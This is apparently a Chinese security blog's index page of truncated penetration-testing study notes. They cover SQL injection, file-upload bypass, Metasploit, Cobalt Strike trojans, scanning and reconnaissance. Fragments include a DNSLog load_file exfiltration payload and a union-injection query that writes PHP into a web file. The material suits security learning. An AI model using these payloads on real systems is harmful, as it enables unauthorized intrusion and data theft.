CP1024的博客

xss和任意密码修改漏洞

DNSLog注入原理以及错误原因 链接地址 https://www.freebuf.com/articles/web/259023.html 错误原因 1. 路径错误 2. 不是root用户、secure_file_priv的限制 3. url地址不正确，dnslog平台解析的是url地址，所以连接的地址只能包含数字字母下划线这3类 sql select * from table_name where id=1 union select 1,load_file(concat('\\\\',(select

记一次看过文件上传绕过方式 链接地址 https://xz.aliyun.com/t/10459

SQL注入之MySQL注入姿势及绕过 参考链接： https://xz.aliyun.com/t/10594 感受 1. 写的详细，并且绕过姿势也很多，大佬级人物 2. 在网上发现类似的文章，感觉这就是为啥知识需要付费的原因。 3. 学到的东西很多 ...

SQL注入写shell权限 需要的条件 1. root权限 2. 知道网站的物理绝对路径 3. load_file() 开启 即 secure_file_priv 无限制 可以通过select @@secure_file_priv;查询 （1）：如果为NULL,则不能写入 （2）：如果为空，可以在任意文件位置下写入 （3）：如果为一个路径，可以在该文件路径写入 4. 有写入权限 联合写入 ?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into

MSF基础知识 Metasploit框架是一个开源工具，目的是方便渗透测试，它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。 需要在命令行输入msconsole 知识点： 更新命令： 1. apt-get update:只更新软件包的索引源，作用是同步源的软件包的索引信息，从而进行软件更新。 2. apt-get upgrade：升级系统上安装的所有软件包，若更新失败，所涉及的包会保持更新之前的状态。 3. apt-get dist-upgrade:升级整

信息收集应该做的那些事 在信息收集中，最主要的就是收集服务器的配置信息和网站的敏感信息，其中包括子域名信息、目标网站系统、CMS指纹、目标网站的真实IP、开放的端口等。 收集域名信息 Whois查询 在为whois查询中，得到注册人的姓名和邮箱信息通常对测试个人站点非常有用，因为我们可以通过搜索引擎和社交网络挖掘出域名所有人的很多信息。 在线whois查询常用的网站有爱站工具网站https://whois.aizhan.com站长之家http://whois.chinaz.com和VirusTotalht

步骤： 1.自己必须要能运行CS,并且在内网自己可以实现运行木马 2.两个内网之间： 简单步骤： 公网图片 本机图片： CS图片： 木马在win7图片： 这只是简单的步骤，如果实现不懂，可以在下方评论，我可以给你解答。 ...

端口扫描 scapy UDP scan 端口关闭：ICMP port-unreachable 端口开放：没有回包 了解每一种基于UDP的应用层包结构很有帮助的 与三层相同的技术 误判 scapy sr1(IP(dst=“192.168.0.68”)/UDP(dport=53),timeout=1,verbose=1 TCP端口扫描 基于连接的协议 三次握手 隐蔽扫描 僵尸扫描 全连接扫描 所有的TCP扫描方式都是基于三次握手的变化来判断目标端口状态 隐蔽端口扫描 隐蔽扫描—syn 不

主动信息收集 主动信息收集介绍： 直接与目标系统交互通信 无法避免留下访问的痕迹 使用受控的第三方电脑进行探测： 使用代理或已经被控制的主机 做好封杀的准本 使用噪声迷惑目标，淹没真实的探测流量 扫描 发送不同的探测，根据返回结果判断目标状态 发现 识别活着的主机 潜在的被攻击目标 输出一个ip地址列表 2、3、4层发现 发现之二层发现 arping: arping 192.168.0.53 -c 1（发送一次arp包） arping 192.168.0.1 -d(可以过滤调重

被动信息收集 SHODAN搜索软件 可以搜索联网设备 Banner:http、ftp、ssh、telnet 网页地址：https://www.shodan.io/ 常见的过滤规则: net (192.168.1.20) 例子:net:192.168.1.20 city(城市过滤) 例子：city:beijing country(国家过滤) 例子:country:(CN、US) port(端口过滤) 例子:port:(80、21、22、23) os(操作系统过滤) 例子:os:linux

DNS信息收集 nslookup信息收集： nslookup www.sina.com(解析www.sina.com对应的ip信息) server(指定域名服务器)比如：server 8.8.8.8 type=a、mx、ns、any，搜集域名下对应的类型，也可以q=a等 a表示主机记录 mx表示邮件记录 ns表示dns记录 any表示查询所有的记录 nslookup -type=ns sina.com 123.125.29.99(指定域名服务器解析) DIG信息收集： dig @8.8.8.8 www

简单的Union注入 1.MySql注入常用函数： 函数名称 函数功能 system_user() 系统用户名 user() 用户名 current_user() 当前用户名 session_user() 连接数据库的用户名 database() 当前数据库名 version() 数据库版本 @@datadir 数据库路径 @@basedir 数据库安装路径 @@version_compile_os 操作系统版本 count() 返回执行结果数量 co